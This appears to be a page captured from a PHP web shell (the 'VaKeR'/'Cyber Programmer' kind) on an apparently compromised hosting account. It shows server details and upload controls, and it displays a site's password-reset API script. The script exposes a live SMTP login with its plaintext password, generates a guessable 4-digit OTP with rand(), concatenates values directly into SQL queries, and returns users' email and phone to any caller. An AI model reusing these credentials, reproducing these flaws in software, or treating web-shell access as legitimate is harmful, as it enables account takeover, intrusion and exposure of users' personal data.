%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_6ca89795/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_6ca89795/api/forgot_password.php
<?php

header("Content-Type: application/json");

include("../dbcon.php");

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

require '../PHPMailer/src/Exception.php';
require '../PHPMailer/src/PHPMailer.php';
require '../PHPMailer/src/SMTP.php';

define('BASE_URL','https://meatandgo.fr/');

function response($status,$message,$data=[])
{
    echo json_encode([
        "status"=>$status,
        "message"=>$message,
        "data"=>$data
    ],JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT);

    exit;
}

$json = json_decode(file_get_contents("php://input"),true);

$email_or_phone = trim(
    $_REQUEST['email_or_phone']
    ?? $json['email_or_phone']
    ?? ''
);

if(empty($email_or_phone))
{
    response(false,"Email or Phone Required",[

        "required_fields"=>[
            "email_or_phone"
        ],

        "example_url"=>
            BASE_URL.
            "api/forgot_password.php?email_or_phone=test@gmail.com",

        "sample_request"=>[
            "email_or_phone"=>"test@gmail.com"
        ],

        "raw_json_example"=>[
            "email_or_phone"=>"test@gmail.com"
        ]
    ]);
}

$email_or_phone = mysqli_real_escape_string(
    $conn,
    $email_or_phone
);

$userQry = mysqli_query(
    $conn,
    "SELECT *
     FROM user
     WHERE email='$email_or_phone'
     OR phone='$email_or_phone'
     LIMIT 1"
);

if(mysqli_num_rows($userQry)==0)
{
    response(false,"User Not Found");
}

$user = mysqli_fetch_assoc($userQry);

$otp = rand(1000,9999);

mysqli_query(
    $conn,
    "DELETE FROM password_resets
     WHERE user_id='".$user['id']."'"
);

mysqli_query(
    $conn,
    "INSERT INTO password_resets
    (
        user_id,
        email,
        phone,
        otp,
        is_verified,
        created_at
    )
    VALUES
    (
        '".$user['id']."',
        '".$user['email']."',
        '".$user['phone']."',
        '$otp',
        '0',
        NOW()
    )"
);

if(!empty($user['email']))
{
    try
    {
        $mail = new PHPMailer(true);

        $mail->isSMTP();
        $mail->Host       = 'mail.jgttourism.com';
        $mail->SMTPAuth   = true;
        $mail->Username   = 'info@jgttourism.com';
        $mail->Password   = '15e&d)P417eG';
        $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS;
        $mail->Port       = 465;

        $mail->setFrom(
            'info@jgttourism.com',
            'Meat & Go'
        );

        $mail->addAddress(
            $user['email'],
            $user['username']
        );

        $mail->isHTML(true);

        $mail->Subject =
        'Password Reset OTP';

        $mail->Body = "
        <h2>Password Reset OTP</h2>

        <p>Hello ".$user['username'].",</p>

        <p>Your OTP is:</p>

        <h1>".$otp."</h1>

        <p>Use this OTP to reset your password.</p>
        ";

        $mail->send();
    }
    catch(Exception $e)
    {
    }
}

response(true,"OTP Sent Successfully",[

    "email"=>$user['email'],
    "phone"=>$user['phone'],

    "next_api"=>
        BASE_URL."api/verify_otp.php"
]);

?>

VaKeR 2022